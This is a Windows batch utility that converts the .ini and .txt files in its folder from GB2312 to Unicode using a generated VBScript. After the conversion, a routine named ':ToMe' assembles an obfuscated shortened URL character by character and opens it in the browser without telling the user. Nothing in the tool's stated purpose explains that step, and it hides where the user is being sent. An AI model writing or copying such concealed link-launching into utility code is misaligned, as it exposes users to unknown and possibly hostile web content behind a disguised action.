@echo off & title ASNI to Unicod
cd /d "%~dp0"
 
call :CreatVBS
 
for /f "delims=" %%a in ('dir /a-d/b *.ini *.txt') do (
    ANSI2UNICODE.vbs "%%~a" "TEXT.ansi"
    move /y "TEXT.ansi" "%%~a"
)
del /f /q ANSI2UNICODE.vbs
pause
call :ToMe
exit
 
:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
exit
 
:CreatVBS
(echo aCode = "GB2312"
echo bCode = "UNICODE"
echo Set objArgs = WScript.Arguments
echo.
echo FileUrlSrc = objArgs^(0^)
echo FileUrlDst = objArgs^(1^)
echo Call WriteToFile^(FileUrlDst, ReadFile^(FileUrlSrc, aCode^), bCode^)
echo.
echo Function ReadFile^(FileUrlSrc, CharSet^)
echo     Dim Str
echo     Set stm = CreateObject^("Adodb.Stream"^)
echo     stm.Type = 2
echo     stm.mode = 3
echo     stm.charset = CharSet
echo     stm.Open
echo     stm.loadfromfile FileUrlSrc
echo     Str = stm.readtext
echo     stm.Close
echo     Set stm = Nothing
echo     ReadFile = Str
echo End Function
echo.
echo Function WriteToFile ^(FileUrlDst, Str, CharSet^)
echo     Set stm = CreateObject^("Adodb.Stream"^)
echo     stm.Type = 2
echo     stm.mode = 3
echo     stm.charset = CharSet
echo     stm.Open
echo     stm.WriteText Str
echo     stm.SaveToFile FileUrlDst, 2
echo     stm.flush
echo     stm.Close
echo     Set stm = Nothing
echo End Function)>ANSI2UNICODE.vbs
goto :eof